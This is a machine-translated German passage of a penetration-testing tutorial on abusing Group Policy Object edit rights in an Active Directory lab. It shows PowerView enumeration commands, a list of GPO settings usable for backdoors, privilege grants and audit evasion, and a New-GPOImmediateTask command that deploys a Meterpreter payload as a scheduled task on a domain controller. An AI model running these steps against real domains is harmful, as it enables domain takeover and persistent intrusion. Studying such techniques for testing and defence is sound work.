Um das Beispiel zu demonstrieren, fügen wir dem Ragnar-Benutzer die Rechte zum Bearbeiten der Standardrichtlinie für Domänencontroller hinzu (im wirklichen Leben werden die Rechte für diese Richtlinie nur Domänenadministratoren gewährt, aber das Wesentliche des Angriffs ändert sich nicht; im Fall einer anderen Richtlinie ändern sich nur die kontrollierten Hosts).



Zählen Sie die Rechte für alle Gruppenrichtlinienobjekte in der Domäne mithilfe von PowerView auf .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Ein Ragnar-Benutzer hat das Recht, ein Gruppenrichtlinienobjekt mit einer GUID von 6AC1786C-016F-11D2-945F-00C04FB984F9 zu ändern. Führen Sie den folgenden Befehl aus, um festzustellen, welche Hosts in der Domäne diese Richtlinie anwenden

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



Habe den Host dc1.jet.lab.

Wenn wir die spezifische Richtlinie kennen, die der Ragnar-Benutzer bearbeiten kann, und die Hosts, für die diese Richtlinie gilt, können wir verschiedene Aktionen auf dem Host dc1.jet.lab ausführen.

Nachfolgend finden Sie die Optionen für die Verwendung des Gruppenrichtlinienobjekts
Computerkonfiguration \ Einstellungen \ Einstellungen der Systemsteuerung \ OrdneroptionenErstellen / Ändern von Dateitypzuordnungen, Registrieren von DDE-Aktionen bei diesen Zuordnungen
Computerkonfiguration \ Einstellungen \ Einstellungen der Systemsteuerung \ Lokale Benutzer und GruppenFügen Sie ein neues lokales Administratorkonto hinzu
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


Mit den Tools New-GPOImmediateTask und SharpGPOAbuse können Sie:

  • Führen Sie die Aufgabe im Aufgabenplaner aus
  • Benutzerrechte hinzufügen (SeDebugPrivilege, SeTakeOwnershipPrivilege usw.)
  • Fügen Sie ein Skript hinzu, das nach dem Start ausgeführt wird
  • Benutzer zur lokalen Gruppe hinzufügen

Fügen Sie beispielsweise eine Aufgabe im Aufgabenplaner hinzu, um eine Meterpreter-Sitzung abzurufen:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

Nach der Ausführung wird die geplante Aufgabe als Test angezeigt



und die Meterpreter-Sitzung wird angezeigt.





Um eine geplante Aufgabe zu löschen, müssen Sie den folgenden Befehl ausführen:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

Schlussfolgerungen


In dem Artikel haben wir nur einige Angriffsvektoren untersucht. Ansichten wie Enumerate Accounts and Password Spray , MS14-068 , eine Reihe von Druckerfehlern und uneingeschränkter Delegierung sowie Angriffe auf Exchange ( Ruler , PrivExchange , ExchangeRelayX ) können den Angriffsbereich erheblich erweitern.

Angriffstechniken und Pinning-Methoden (Goldenes Ticket, Silber-Ticket, Pass-The-Hash, Übergeben des Hash, SID-Verlauf, DC-Schatten usw.) ändern sich ständig, und das Verteidigungsteam sollte immer für neue Arten von Angriffen bereit sein.

Source: https://habr.com/ru/post/de449278/


All Articles